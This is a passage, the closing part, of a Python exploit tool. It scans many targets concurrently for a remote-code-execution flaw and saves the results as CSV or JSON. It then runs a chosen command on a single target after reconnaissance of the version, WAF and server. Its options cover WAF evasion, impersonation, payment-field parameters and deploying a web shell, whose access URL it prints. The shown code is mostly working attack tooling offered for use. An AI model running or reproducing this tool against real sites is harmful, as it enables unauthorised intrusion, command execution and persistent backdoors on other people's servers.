        with ThreadPoolExecutor(max_workers=a.threads) as ex:
            for f in as_completed({ex.submit(wk,t):t for t in targets}): res.append(f.result())
        vuln=sum(1 for x in res if x.vuln); rce=sum(1 for x in res if x.rce)
        print(B(f"\n=== SUMMARY ===\nTotal: {len(res)} | Vuln: {vuln} | RCE: {rce}"))
        if a.output:
            ext=os.path.splitext(a.output)[1].lower()
            if ext==".json":
                with open(a.output,"w") as f: json.dump([x.__dict__ for x in res], f, indent=2)
            else:
                with open(a.output,"w") as f:
                    f.write("target,vulnerable,version,version_label,rce_confirmed,method,item_number,test_file,detail\n")
                    for x in res: f.write(f'"{x.target}",{x.vuln},{x.ver or ""},"{x.vlab}",{x.rce},"{x.meth}","{x.item}","{x.file}","{x.det}"\n')
            print(G(f"[*] Saved: {a.output}"))
        return 0

    if not a.cmd: print(R("[-] --cmd required")); return 1
    t = a.target if a.target.startswith("http") else "https://"+a.target
    print(B(f"[*] Target: {t}")); print(f"[*] Cmd: {a.cmd}")

    print("[*] Recon...")
    info = recon(t, a.timeout, a.insecure, a.user_agent, a.http_proxy)
    print(f"    Ver: {info.ver or '?'} ({info.src})"); print(f"    Items: {info.items}"); print(f"    WAF: {info.waf or 'None'}"); print(f"    Server: {info.srv}")
    if a.item_number: info.items=[a.item_number]

    e = Engine(a.timeout, a.insecure, a.user_agent, a.http_proxy, a.verbose)
    print(B("[*] Exploit..."))
    r = e.run(t, a.cmd, info, a.write_test, a.filename, a.marker, a.write_dir, a.proxy_verification, a.proxy, a.proxy_use, a.amount, a.currency, a.receiver, a.payer, a.no_evasion or not a.full_bypass, a.impersonate, a.deploy_shell, a.shell_path)

    if r.ok:
        print(G("[+] SUCCESS"))
        print(f"    Method: {r.method} | Payload: {r.pv} | Req: {r.rv} | Hdr: {r.hv} | Item: {r.item} | HTTP: {r.status}")
        if r.file: print(G(f"    File: {r.file}"))
        if r.shell: print(G(f"    Shell: {r.shell}?{r.pwd}=cmd"))
        print(f"    Detail: {r.detail}")
        return 0
    print(R("[-] FAILED")); print(f"    {r.detail}"); return 1

if __name__=="__main__": sys.exit(main())